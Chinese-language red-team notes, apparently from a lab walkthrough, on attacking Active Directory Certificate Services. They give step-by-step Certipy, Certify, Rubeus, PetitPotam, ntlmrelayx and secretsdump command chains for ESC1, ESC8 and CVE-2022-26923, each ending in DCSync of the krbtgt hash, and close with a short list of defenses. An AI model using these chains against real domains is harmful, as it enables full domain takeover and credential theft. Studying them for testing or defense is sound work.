ADCS攻击笔记
字数 1111 2025-08-26 22:11:22
ADCS攻击技术详解
1. 环境准备
测试环境配置
- DC2012: 192.168.149.133 (Windows Server 2012 R2 域控)
- ADCS: 192.168.149.135 (Windows Server 2012 R2 AD证书服务器)
- WIN10: 192.168.149.134 (模拟办公网个人PC)
- Kali: 192.168.149.129 (攻击机)
2. 信息枚举
域内信息收集
-
检查域配置:
net config workstation -
查询LDAP服务:
nslookup -type=srv _ldap._tcp.dc._msdcs.FQDN -
获取CA信息:
certutil -CA nslookup DNSName
域外信息收集
-
识别域控特征:
- NetBIOS名称通常包含"DC"关键字
- 常见开放端口: 53(DNS)、88(Kerberos)、389(LDAP)、636(LDAPS)
-
检查ADCS服务:
certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -dc-only -stdout -
使用ADExplorer连接LDAP或直接访问:
http://IP/certsrv/Default.asp
3. ESC1漏洞利用
漏洞前提条件
- 证书模板配置:
msPKI-Certificates-Name-Flag: 设置为ENROLLEE_SUPPLIES_SUBJECTPkiExtendedKeyUsage: 包含Client Authentication- 注册权限:
NT Authority\Authenticated Users
漏洞利用步骤
域内利用
-
查找漏洞模板:
execute-assembly \path\Certify.exe find /vulnerable -
为域管请求证书:
execute-assembly \path\Certify.exe request /ca:[CA Name] /template:VulnTemplate /altname:domadmin -
转换证书格式:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx -
请求TGT并PTT:
execute-assembly \path\Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt
域外利用
-
查找漏洞模板:
certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout -
请求域管证书:
certipy req -u zhangsan@red.lab -p zs@123456 -target 192.168.149.135 -ca red-ADCS-CA -template ESC1 -upn administrator@red.lab -
认证并DCSync:
certipy auth -pfx administrator.pfx -dc-ip 192.168.149.133 secretsdump.py red.lab/administrator@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash
4. ESC8漏洞利用
漏洞简介
ADCS Web接口默认支持NTLM身份验证且无NTLM Relay保护措施,可强制域控制器计算机帐户(DC$)向攻击者主机进行身份验证。
域内利用
-
使用ADCSPwn工具:
execute-assembly \path\ADCSPwn.exe --adcs ADCS.red.lab --remote DC2012.red.lab -
请求TGT并PTT:
execute-assembly \path\Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt -
DCSync获取krbtgt哈希:
dcsync red.lab red\krbtgt
注意: 需要域控启用WebClient服务,可通过安装桌面体验功能实现。
域外利用
-
强制域控认证:
PetitPotam.py Relayip DCip -
端口重定向:
PortBender redirect 445 8445 rportfwd_local 8445 127.0.0.1 8445 -
NTLM Relay攻击:
ntlmrelayx.py -t http://192.168.149.135/certsrv/certfnsh.asp -smb2support --adcs --template DomainController --smb-port 8445 -
请求TGT并DCSync:
execute-assembly \path\Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt dcsync red.lab red\krbtgt
5. CVE-2022-26923漏洞利用
漏洞简介
允许低权限用户在默认ADCS环境中将权限提升到域管理员,利用默认启用的Machine模板。
利用步骤
-
创建恶意机器账户:
certipy account create -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -user win -pass win@123456 -dns 'DC2012.red.lab' -
请求证书:
certipy req -u 'win$'@red.lab -p win@123456 -target 192.168.149.135 -ca red-ADCS-CA -template Machine -
请求DC$的TGT:
certipy auth -pfx dc2012.pfx -dc-ip 192.168.149.133 -
DCSync获取krbtgt哈希:
secretsdump.py red.lab/'DC2012$'@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash
备用方法(RBCD攻击)
-
转换证书格式:
openssl pkcs12 -in dc2012.pfx -out dc2012.pem -nodes -
设置基于资源的约束委派:
python3 bloodyAD.py -c ':dc2012.pem' -u 'win$' --host 192.168.149.133 setRbcd 'win$' 'DC2012$' -
获取服务票据:
getST.py red.lab/'win$':'win@123456' -spn LDAP/DC2012.red.lab -impersonate administrator -dc-ip 192.168.149.133 export KRB5CCNAME=administrator.ccache -
DCSync:
secretsdump.py -k dc2012.red.lab -just-dc-user red/krbtgt
6. 防御建议
- 限制证书模板权限,移除
ENROLLEE_SUPPLIES_SUBJECT设置 - 启用NTLM Relay保护措施
- 及时安装ADCS相关补丁
- 限制机器账户的创建权限
- 监控异常证书请求活动